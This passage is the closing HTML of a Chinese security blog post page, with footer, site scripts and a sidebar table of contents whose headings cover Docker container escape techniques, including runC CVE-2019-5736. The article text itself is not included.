    <a href="/2021/12/31/fuzz/" rel="next" title="Fuzz入门&&AFL基本操作">
      Fuzz入门&&AFL基本操作 <i class="fa fa-chevron-right"></i>
    </a></div>
    </div>
      </footer>
    
  </article>
  
  
  



          </div>
          

<script>
  window.addEventListener('tabs:register', () => {
    let { activeClass } = CONFIG.comments;
    if (CONFIG.comments.storage) {
      activeClass = localStorage.getItem('comments_active') || activeClass;
    }
    if (activeClass) {
      let activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
      if (activeTab) {
        activeTab.click();
      }
    }
  });
  if (CONFIG.comments.storage) {
    window.addEventListener('tabs:click', event => {
      if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
      let commentClass = event.target.classList[1];
      localStorage.setItem('comments_active', commentClass);
    });
  }
</script>

        </div>
          
  
  <div class="toggle sidebar-toggle">
    <span class="toggle-line toggle-line-first"></span>
    <span class="toggle-line toggle-line-middle"></span>
    <span class="toggle-line toggle-line-last"></span>
  </div>

  <aside class="sidebar">
    <div class="sidebar-inner">

      <ul class="sidebar-nav motion-element">
        <li class="sidebar-nav-toc">
          文章目录
        </li>
        <li class="sidebar-nav-overview">
          站点概览
        </li>
      </ul>

      <!--noindex-->
      <div class="post-toc-wrap sidebar-panel">
          <div class="post-toc motion-element"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#Docker%E7%AE%80%E4%BB%8B"><span class="nav-number">1.</span> <span class="nav-text">Docker简介</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%9F%BA%E6%9C%AC%E6%9E%B6%E6%9E%84"><span class="nav-number">1.1.</span> <span class="nav-text">基本架构</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#docker%E5%90%AF%E5%8A%A8%EF%BC%9A"><span class="nav-number">1.2.</span> <span class="nav-text">docker启动：</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%90%AF%E5%8A%A8docker"><span class="nav-number">1.3.</span> <span class="nav-text">启动docker</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#Docker%E9%80%83%E9%80%B8%E6%94%BB%E5%87%BB"><span class="nav-number">2.</span> <span class="nav-text">Docker逃逸攻击</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%88%A4%E6%96%AD%E6%98%AF%E5%90%A6%E5%9C%A8Docker%E4%B8%AD"><span class="nav-number">2.1.</span> <span class="nav-text">判断是否在Docker中</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE"><span class="nav-number">2.2.</span> <span class="nav-text">环境配置</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#Docker-Remote-API%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE"><span class="nav-number">3.</span> <span class="nav-text">Docker Remote API未授权访问</span></a><ol class="nav-child"><li class="nav-item nav-level-4"><a class="nav-link" href="#%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95%EF%BC%9AHTTP-curl-api"><span class="nav-number">3.0.1.</span> <span class="nav-text">利用方法：HTTP curl api</span></a></li></ol></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#Docker%E9%AB%98%E5%8D%B1%E5%90%AF%E5%8A%A8%E5%8F%82%E6%95%B0"><span class="nav-number">4.</span> <span class="nav-text">Docker高危启动参数</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E2%80%93privileged"><span class="nav-number">4.1.</span> <span class="nav-text">–privileged</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#docker-sock%E6%8C%82%E8%BD%BD%E5%88%B0%E5%AE%B9%E5%99%A8%E5%86%85%E9%83%A8"><span class="nav-number">5.</span> <span class="nav-text">docker.sock挂载到容器内部</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#runC%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E-CVE-2019-5736"><span class="nav-number">6.</span> <span class="nav-text">runC容器逃逸漏洞(CVE-2019-5736)</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#runC%E5%88%A9%E7%94%A8%E9%93%BE"><span class="nav-number">6.1.</span> <span class="nav-text">runC利用链</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#1-docker-exec-poc"><span class="nav-number">6.2.</span> <span class="nav-text">1.docker exec poc</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#PoC%E5%8E%9F%E7%90%86"><span class="nav-number">6.3.</span> <span class="nav-text">PoC原理</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#reference"><span class="nav-number">7.</span> <span class="nav-text">reference:</span></a></li></ol></div>
      </div>
      <!--/noindex-->

      <div class="site-overview-wrap sidebar-panel">
        <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
    <img class="site-author-image" itemprop="image" alt="Sekla"
      src="/images/avatar.jpg">
  <p class="site-author-name" itemprop="name">Sekla</p>
  <div class="site-description" itemprop="description">Sekla</div>
</div>
<div class="site-state-wrap motion-element">
  <nav class="site-state">
      <div class="site-state-item site-state-posts">
          <a href="/archives/">
        
          <span class="site-state-item-count">100</span>
          <span class="site-state-item-name">日志</span>
        </a>
      </div>
      <div class="site-state-item site-state-categories">
            <a href="/categories/">
          
        <span class="site-state-item-count">23</span>
        <span class="site-state-item-name">分类</span></a>
      </div>
      <div class="site-state-item site-state-tags">
            <a href="/tags/">
          
        <span class="site-state-item-count">14</span>
        <span class="site-state-item-name">标签</span></a>
      </div>
  </nav>
</div>
  <div class="links-of-author motion-element">
      <span class="links-of-author-item">
        <a href="https://github.com/ShenTiao" title="GitHub → https:&#x2F;&#x2F;github.com&#x2F;ShenTiao" rel="noopener" target="_blank"><i class="fab fa-github fa-fw"></i>GitHub</a>
      </span>
      <span class="links-of-author-item">
        <a href="mailto:584892986@qq.com" title="E-Mail → mailto:584892986@qq.com" rel="noopener" target="_blank"><i class="fa fa-envelope fa-fw"></i>E-Mail</a>
      </span>
  </div>



      </div>

      <iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=86 src="//music.163.com/outchain/player?type=2&id=1416875904&auto=0&height=66"></iframe>
      
    </div>
  </aside>
  <div id="sidebar-dimmer"></div>


      </div>
    </main>

    <footer class="footer">
      <div class="footer-inner">
        

        

<div class="copyright">
  
  &copy; 
  <span itemprop="copyrightYear">2022</span>
  <span class="with-love">
    <i class="fa fa-heart"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">Sekla</span>
    <span class="post-meta-divider">|</span>
    <span class="post-meta-item-icon">
      <i class="fa fa-chart-area"></i>
    </span>
    <span title="站点总字数">288k</span>
    <span class="post-meta-divider">|</span>
    <span class="post-meta-item-icon">
      <i class="fa fa-coffee"></i>
    </span>
    <span title="站点阅读时长">4:22</span>
</div>
  <div class="powered-by">由 <a href="https://hexo.io/" class="theme-link" rel="noopener" target="_blank">Hexo</a> & <a href="https://muse.theme-next.org/" class="theme-link" rel="noopener" target="_blank">NexT.Muse</a> 强力驱动
  </div>

        
<div class="busuanzi-count">
  <script async src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
    <span class="post-meta-item" id="busuanzi_container_site_uv" style="display: none;">
      <span class="post-meta-item-icon">
        <i class="fa fa-user"></i>
      </span>
      <span class="site-uv" title="总访客量">
        <span id="busuanzi_value_site_uv"></span>
      </span>
    </span>
    <span class="post-meta-divider">|</span>
    <span class="post-meta-item" id="busuanzi_container_site_pv" style="display: none;">
      <span class="post-meta-item-icon">
        <i class="fa fa-eye"></i>
      </span>
      <span class="site-pv" title="总访问量">
        <span id="busuanzi_value_site_pv"></span>
      </span>
    </span>
</div>








      </div>
    </footer>
  </div>

  
  <script size="300" alpha="0.6" zIndex="-1" src="/lib/canvas-ribbon/canvas-ribbon.js"></script>
  <script src="/lib/anime.min.js"></script>
  <script src="/lib/velocity/velocity.min.js"></script>
  <script src="/lib/velocity/velocity.ui.min.js"></script>

<script src="/js/utils.js"></script>

<script src="/js/motion.js"></script>


<script src="/js/schemes/muse.js"></script>


<script src="/js/next-boot.js"></script>




  















  

  
      

<script>
  if (typeof MathJax === 'undefined') {
    window.MathJax = {
      loader: {
        source: {
          '[tex]/amsCd': '[tex]/amscd',
          '[tex]/AMScd': '[tex]/amscd'
        }
      },
      tex: {
        inlineMath: {'[+]': [['$', '$']]},
        tags: 'ams'
      },
      options: {
        renderActions: {
          findScript: [10, doc => {
            document.querySelectorAll('script[type^="math/tex"]').forEach(node => {
              const display = !!node.type.match(/; *mode=display/);
              const math = new doc.options.MathItem(node.textContent, doc.inputJax[0], display);
              const text = document.createTextNode('');
              node.parentNode.replaceChild(text, node);
              math.start = {node: text, delim: '', n: 0};
              math.end = {node: text, delim: '', n: 0};
              doc.math.push(math);
            });
          }, '', false],
          insertedScript: [200, () => {
            document.querySelectorAll('mjx-container').forEach(node => {
              let target = node.parentNode;
              if (target.nodeName.toLowerCase() === 'li') {
                target.parentNode.classList.add('has-jax');
              }
            });
          }, '', false]
        }
      }
    };
    (function () {
      var script = document.createElement('script');
      script.src = '//cdn.jsdelivr.net/npm/mathjax@3/es5/tex-mml-chtml.js';
      script.defer = true;
      document.head.appendChild(script);
    })();
  } else {
    MathJax.startup.document.state(0);
    MathJax.texReset();
    MathJax.typeset();
  }
</script>

    

  

<script src="/live2dw/lib/L2Dwidget.min.js?094cbace49a39548bed64abff5988b05"></script><script>L2Dwidget.init({"pluginRootPath":"live2dw/","pluginJsPath":"lib/","pluginModelPath":"assets/","tagMode":false,"debug":false,"model":{"jsonPath":"/live2dw/assets/shizuku.model.json"},"display":{"position":"left","width":250,"height":500},"mobile":{"show":false},"react":{"opacity":0.9},"log":false});</script></body>
</html>

<script type="text/javascript" src="/js/src/love.js"></script>
